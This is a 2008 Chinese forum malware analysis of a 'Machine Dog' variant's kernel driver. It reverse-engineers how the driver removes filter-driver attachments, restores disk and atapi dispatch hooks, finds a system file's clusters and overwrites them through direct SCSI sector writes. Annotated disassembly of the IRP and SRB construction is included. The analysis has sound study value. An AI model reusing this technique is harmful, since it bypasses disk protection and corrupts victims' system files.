机器狗0625技术剖析(驱动读写磁盘扇区

来源:互联网 发布:软件封装教程 编辑:程序博客网 时间:2024/05/18 03:01
作 者: 水中雁时 间: 2008-06-26,19:52链 接: http://bbs.pediy.com/showthread.php?t=67321由于对磁盘结构不是很熟,仅仅从逆向分析的角度,通过对这个驱动的分析过程,学习了向SCSI端口向扇区写数据的方法。如有错误或纰漏之处,请大家指出。附件:1、机器狗0625技术剖析.pdf2、obj2(Macdog).idb摘要这是一个6月23号捕获的机器狗变种。跟之前不同的地方,主要是将以前ring3下写磁盘替换文件的操作使用驱动实现了,本文的主要部分也是对该部分的解析。可以看出,机器狗的作者对内核驱动以及磁盘结构都很熟悉。三、驱动分析1、基本信息文件名:%windir%/system32/drivers/obj2.sysDeviceName://Device//DogBabySymbolicLinkName://DosDevices//DogBaby2、摘除ntfs的AttachedDevice3、恢复disk的Hook1)、摘除disk的AttachedDevice2)、根据_DRIVER_OBJECT.DriverSection获得_LDR_DATA_TABLE_ENTRY的链表,枚举该链表查找名为CLASSPNP.SYS的模块,找到则获取该模块的基址Base和EntryPoint,如果EntryPoint - Base等于0AE8Fh(入口的RVA),则取g_pClassInternalIoControl = Base + 4FC3h。然后注册驱动disk的派遣例程为_DRIVER_OBJECT.IrpInternalDeviceControlDispatch = pClassInternalIoControl。4、摘除FtDisk的AttachedDevice5、摘除Atapi的AttachedDevice6、恢复Atapi的Hook1)、读取atapi.sys文件,并定位pe头、及块表。2)、定位到init块,从init块中使用模糊匹配特征C7 ?? 30 ?? ?? ?? ?? C7 ?? 34。3)、找到的地址为24968h,记为Atapi_24968h。4)、取Atapi_24968h + 11h的位置,并换算成RVA,得到fnRVA_IdePortDispatch。5)、取Atapi_24968h + 18h的位置,并换算成RVA,得到fnRVA_IdePortDispatchDeviceControl。6)、如果上面的方法获取失败,则强制转换:fnRVA_IdePortDispatch = 67B4h,fnRVA_IdePortDispatchDeviceControl = 0A592h。7)、获取这两个函数的SVAfnIdePortDispatch = fnRVA_IdePortDispatch + DriverStart,fnIdePortDispatchDeviceControl = fnRVA_IdePortDispatchDeviceControl + DriverStart。8)、注册Atapi的派遣例程_DRIVER_OBJECT.IrpDeviceControlDispatch = fnIdePortDispatchDeviceControl,_DRIVER_OBJECT.IrpInternalDeviceControlDispatch = fnIdePortDispatch。7、定位被覆盖文件的逻辑簇号1)、打开文件conime.exe,失败则打开userinit.bat;并获取FileObject。2)、根据FileObject获取_FILE_OBJECT.Vpb,再获取_VPB.DeviceObject。3)、创建一个IRP。设MainFunction为IRP_MJ_FILE_SYSTEM_CONTROL。4)、设定_IO_STACK_LOCATION.FsControlCode = FSCTL_GET_RETRIEVAL_POINTERS//其它IRP初始化略过,详细请看idb文件。5)、调用自己实现的IOCallDriver,获取指定文件的RETRIEVAL_POINTERS_BUFFER信息。结构查阅msdn如下:typedef struct RETRIEVAL_POINTERS_BUFFER {  DWORD ExtentCount;  LARGE_INTEGER StartingVcn;  struct {    LARGE_INTEGER NextVcn;    LARGE_INTEGER Lcn;  } Extents[1]; } RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;要注意的是按8个字节对齐的,所以DWORD ExtentCount后、LARGE_INTEGER StartingVcn前有4个字节的空间。ExtentCount记录了该文件分成了n块存储。StartingVcn记录了起始虚拟簇号。Extents[i].NextVcn记录了下一个块的起始虚拟簇号,所以Extents[i].NextVcn - Extents[i - 1].NextVcn表示i块所占的簇数。Extents[i].Lcn记录了第i + 1块的起始逻辑簇号。注意i是从0开始的。本机器狗使用了不严格的计算方法,仅用到了该结构中的Extents[0].Lcn,即文件的起始逻辑簇号,并没有考虑分多块存储的情况。因此,理论上是存在破坏系统文件的风险的。这也是病毒不负责任的地方。8、MyRead_WriteSector从这个函数名可以看出这是一个读写扇区的例程。前缀My表示该函数是由我标识的,用来跟ida自动识别的函数进行区别,以便查找。这个函数很重要,整个驱动中会调用三次,所以先解析。MyRead_WriteSector(DeviceObj, IRP_ID, pBuffer, dwSectorLowPos, SecNum);DeviceObj:操作设备对象,这里为Disk。IRP_ID:3表示读取,4表示写入。pBuffer:写入设备的数据地址,或读取数据的内存辞职。dwSectorLowPos:读取或写入的扇区号。其实扇区号为LARGE_INTEGER类型的大数,但这里仅使用了低32位,没有使用高32位。SecNum:读取或写入的扇区数。下面为函数的实现介绍。1)、通过使用MyIoCallDriver(病毒自己实现的IoCallDriver)来向Disk设备发送服务号为IRP_MJ_INTERNAL_DEVICE_CONTRO,通过向SCSI端口读写数据实现的。2)、填充IRPmov     [edi+_IRP.MdlAddress], eax; eax为pBuffer对应的Mdl......    ;省略部分代码mov     [ebp+UserIosb], ebx  ; ebx == 0lea     eax, [ebp+UserIosb]mov     [edi+_IRP.UserIosb], eaxlea     eax, [ebp+Event]mov     [edi+_IRP.UserEvent], eaxmov     [edi+1Ch], ebx  ; _IRP.Information = 0mov     [edi+18h], ebx  ; _IRP._IO_STATUS_BLOCK = 0or      [edi+_IRP.Flags], 5 ; IRP_SYNCHRONOUS_API | IRP_NOCACHEmov     [edi+0Ch], ebx  ; _IRP.IrpCount = 0mov     [edi+24h], bl   ; _IRP.Cancel = 0mov     [edi+38h], ebx  ; _IRP.CancelRoutine = 0mov     [edi+20h], bl   ; _IRP.RequestorMode = 0call    KeGetCurrentThreadmov     [edi+50h], eax  ; _IRP.Threadmov     eax, [edi+60h]  ; _IRP.CurrentStackLocationsub     eax, 24h        ; IoGetNextStackLocationmov     byte ptr [eax], IRP_MJ_INTERNAL_DEVICE_CONTROLmov     [eax+4], esi    ; _IO_STACK_LOCATION.scsi._SCSI_REQUEST_BLOCKmov     ecx, [ebp+DiskDeviceObj]mov     [eax+14h], ecx  ; _IO_STACK_LOCATION.DeviceObject = DiskDeviceObjmov     eax, [edi+60h]sub     eax, 24hmov     dword ptr [eax+1Ch], offset fnCompletionRoutine ; _IO_STACK_LOCATION.CompletionRoutinemov     [eax+20h], esi  ; _IO_STACK_LOCATION.Contextmov     [eax+_IO_STACK_LOCATION.Control], 0E0h从填充的IRP可以看到一个重要的结构_SCSI_REQUEST_BLOCK。3)、_SCSI_REQUEST_BLOCK关于结构的定义可以找相关资料。用来存放向SCSI端口写数据的一些信息。这里看一下对这个srb的填充。mov     word ptr [esi], 40h ; _SCSI_REQUEST_BLOCK.Length = 40hmov     [esi+2], bl     ; _SCSI_REQUEST_BLOCK.Function = 0mov     eax, [ebp+pBuffer]  ;pBuffer指向传入的参数,即存放数据的地址。mov     [esi+18h], eax  ; _SCSI_REQUEST_BLOCK.DataBuffer = pBUffermovzx   eax, [ebp+SecNum]shl     eax, 9          ; eax = SecNum * 512mov     [esi+10h], eax  ; _SCSI_REQUEST_BLOCK.DataTransferLength = SecNum * 512 //即写入数据的大小mov     byte ptr [esi+9], 20h ; _SCSI_REQUEST_BLOCK.QueueAction = 20hmov     [esi+3], bl     ; _SCSI_REQUEST_BLOCK.SrbStatus = 0mov     [esi+4], bl     ; _SCSI_REQUEST_BLOCK.ScsiStatus = 0mov     [esi+20h], ebx  ; _SCSI_REQUEST_BLOCK.NextSrb = NULLmov     [esi+1Ch], ecx  ; _SCSI_REQUEST_BLOCK.SenseInfoBuffer = pSenseInfoBuffermov     byte ptr [esi+0Bh], 12h ; _SCSI_REQUEST_BLOCK.SenseInfoBufferLength = 12hxor     eax, eaxcmp     [ebp+IRP_ID], IRP_MJ_READ ; if(IRP_ID != IRP_MJ_READ)setnz   al              ; {al = 1;}dec     eax             ; eax --;and     eax, 0FFFFFFC0h ; eax &= 0x0ffffffc0;add     eax, 80h        ; eax += 80h;; //if IRP_ID == IRP_MJ_READ eax == 40h SRB_FLAGS_DATA_IN; //else eax == 80h SRB_FLAGS_DATA_OUTmov     [esi+0Ch], eax  ; _SCSI_REQUEST_BLOCK.SrbFlags = 80hcmp     [ebp+IRP_ID], IRP_MJ_READjnz     short loc_11997or      eax, 200h SRB_FLAGS_ADAPTER_CACHE_ENABLEmov     [esi+0Ch], eax  ; _SCSI_REQUEST_BLOCK.SrbFlags = 240hloc_11997: or      dword ptr [esi+0Ch], 20h ; _SCSI_REQUEST_BLOCK.SrbFlags = A0h(If Read 260h); 20h == SRB_FLAGS_DISABLE_AUTOSENSEmov     eax, [esi+10h]  ; eax = _SCSI_REQUEST_BLOCK.DataTransferLengthshr     eax, 0Ahinc     eaxmov     [esi+14h], eax  ; _SCSI_REQUEST_BLOCK.TimeOutValue = _SCSI_REQUEST_BLOCK.DataTransferLength >> 0Ah + 1mov     eax, [ebp+dwSectorLowPos]mov     [esi+2Ch], eax  ; _SCSI_REQUEST_BLOCK.QueueSortKey = dwSectorLowPosmov     byte ptr [esi+0Ah], 0Ah ; _SCSI_REQUEST_BLOCK.CdbLength = 0Ah填充这个结构读数据和写数据的SrbFlags分别设为SRB_FLAGS_DATA_IN | SRB_FLAGS_ADAPTER_CACHE_ENABLE | SRB_FLAGS_DISABLE_AUTOSENSE和SRB_FLAGS_DATA_OUT | SRB_FLAGS_DISABLE_AUTOSENSE。4)、_CDB在_SCSI_REQUEST_BLOCK结构最后是UCHAR Cdb[16]; 但是Cdb不一定是16个字节,长度由_SCSI_REQUEST_BLOCK.CdbLength决定,从上面可以看出这里是0Ah个字节。该结构是一个联合体,这里使用的是_CDB10结构。mov     byte ptr [esi+0Ah], 0Ah ; _SCSI_REQUEST_BLOCK.CdbLength = 0Ahmov     cl, [ebp+IRP_ID]add     cl, 11hshl     cl, 1mov     [esi+30h], cl   ; _CDB[0] = 28hmov     cl, [esi+31h]and     cl, 1Fhor      cl, 80hmov     [esi+31h], cl   ; _CDB[1] = 80hmov     ecx, eaxshr     ecx, 18hmov     [esi+32h], cl   ; if Read _CDB[2] = 0mov     ecx, eaxshr     ecx, 10hmov     [esi+33h], cl   ; if Read _CDB[3] = 0mov     ecx, eaxshr     ecx, 8mov     [esi+34h], cl   ; if Read _CDB[4] = 0mov     [esi+35h], al   ; if Read _CDB[5] = 0mov     ax, [ebp+SecNum]mov     [esi+37h], ah   ; if Read _CDB[7] = 0cmp     ax, bxsetnz   almov     [esi+38h], al   ; if Read _CDB[8] = 1从scsi.h中找到如下:// 10-byte commands#define SCSIOP_READ_FORMATTED_CAPACITY 0x23#define SCSIOP_READ_CAPACITY       0x25#define SCSIOP_READ                0x28#define SCSIOP_WRITE               0x2A可以看出,_CDB[0]为OperationCode,28h表示SCSIOP_READ,2Ah表示SCSIOP_WRITE。_CDB[1]按位描述了一些属性,可以参考scsi.h,这里将这个字节设为80h。_CDB[2]到_CDB[5]描述的是扇区位置,依次为dwSectorLowPos从高字节到低字节的值。_CDB[7]和_CDB[8]描述了要写书的扇区数。如果小于0,则设为1。由于本人的语言组织能力较弱,写得比较乱,详细的请看idb文件。这个函数将会完成向指定扇区读写数据。9、读取主分区表调用My_Read_WriteSector(DiskDeviceObj, 3, pBuffer, 0, 1)来获取磁盘0号扇区的数据,大小为1个扇区的大小,即512字节。0号扇区保存了主分区表,结构为:typedef struct _MBR_SECTOR{   UCHAR             BootCode[446];   PARTITION_ENTRY   Partition[4];   USHORT           Signature;} MBR_SECTOR, *PMBR_SECTOR;这里主要用到了PARTITION_ENTRY结构:typedef struct _PARTITION_ENTRY{   UCHAR active;                 // 能否启动标志   UCHAR StartHead;               // 该分区起始磁头号   UCHAR StartSector;             // 起始柱面号高2位:6位起始扇区号   UCHAR StartCylinder;           // 起始柱面号低8位   UCHAR PartitionType;           // 分区类型   UCHAR EndHead;                 // 该分区终止磁头号   UCHAR EndSector;             // 终止柱面号高2位:6位终止扇区号   UCHAR EndCylinder;             // 终止柱面号低8位   ULONG StartLBA;               // 起始扇区号   ULONG TotalSector;             // 分区尺寸(总扇区数)} PARTITION_ENTRY, *PPARTITION_ENTRY;其中active为80h,表示该分区能够启动系统。PartitionType表示分区类型,如NTFS、FAT32等等,如果为FF表示该分区为扩展分区,扩展分区会再有分区表,划分为逻辑分区。如果你有兴趣,可以查阅其它资料。本处依次判断Partition[0]到Partition[3]是否为启动分区,如果是,则计算StartLBA,这里比较有意思的是StartLBA[n] = StartLBA[0] + ... + StartLBA[n],这个我是比较奇怪的,从《数据恢复技术》一书中,我的理解是,如果为基本分区,StartLBA直接是分区的起始逻辑扇区,如果是扩展分区,则需要加上的保留扇区数。这里是让我感到不解的,如果自己分析,要自己测试多个系统、多种分区格式的分区表,遂放弃。希望知道的兄弟能够指点迷津,抑或是机器狗的一个bug。但对于大多数系统,Partition[0]即是启动分区,Partition[0].StartLBA也就是该分区的起始扇区位置。判断Partition[0].PartitionType如果不是PARTITION_TYPE_FAT32、PARTITION_TYPE_FAT32_LBA或PARTITION_TYPE_NTFS,则返回失败。10、读取启动分区的第一个扇区定位到启动分区后,调用My_Read_WriteSector(DiskDeviceObj, 3, pBuffer, StartLBA, 1)来读取启动分区的第一个扇区的内容,即分区信息。结构如下:typedef struct _BBR_SECTOR{   USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码   UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节   UCHAR   OEMName[8];             // 8字节的OEMName   // 下面开始为: BPB( BIOS Parameter Block )   USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)   UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)   USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32   UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]   USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]   USHORT NumberOfSectors16;     // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]   UCHAR   MediaDescriptor;       // 介质类型   USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]   USHORT SectorsPerTrack;       // 用于INT 0x13中断的每个磁道的扇区数   USHORT HeadsPerCylinder;       // 用于INT 0x13中断的每个柱面的磁头数   ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数   ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]   // 下面开始为: EBPB ( Extended BIOS Parameter Block )   ULONG   SectorsPerFAT32;       // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;} BBR_SECTOR, *PBBR_SECTOR;取得分区信息之后,获取SectorsPerCluster和ReservedSectors。判断Partition[0].PartitionType是否是PARTITION_TYPE_FAT32或PARTITION_TYPE_FAT32_LBA,如果是,则获取SectorsPerFAT32和NumberOfFATs。11、计算文件对应的扇区位置Lcn_HightPart 和Lcn_LowPart由第7步获得。1)、如果是FAT32分区,dwSectorLowPos = StartLBA + ReservedSectors + SectorsPerFAT32 * NumberOfFATs + SectorsPerCluster * Lcn_LowPart;FileSectorHighPos = Lcn_HightPart * SectorsPerCluster;2)、如果是NTFS分区,dwSectorLowPos = StartLBA + ReservedSectors + SectorsPerCluster * Lcn_LowPart;FileSectorHighPos = Lcn_HightPart * SectorsPerCluster;FileSectorHighPos在将数据写入扇区时,并没有使用。12、写入病毒是由DeviceIoControl的800C004h号控制命令触发的,写入文件的数据由DeviceIoControl传入。调用My_Read_WriteSector(DiskDeviceObj, 4, pBuffer, dwSectorLowPos, dwFileSize / 512 + 1)来实现向扇区的写入。另外DeviceIoControl的800C008h号控制命令会摘掉ntfs的AttachedDevice。参考资料1、《数据恢复技术》2、http://dev.csdn.net/article/78/78564.shtm3、http://hi.baidu.com/ptf_phoenix/blog/item/c5db4f1f319f6ecca7866994.html4、winddk5、msdn还有一些网上的其它资料,不一一列出。分析者:水中雁 日期:2008.06.25 邮箱:tigerinhm@163.com 主页:http://hi.baidu.com/wildgoose
上传的附件文件类型: rar机器狗0625技术剖析.rar (2008-06-26 19:46, 679.5 KB, 346 次下载)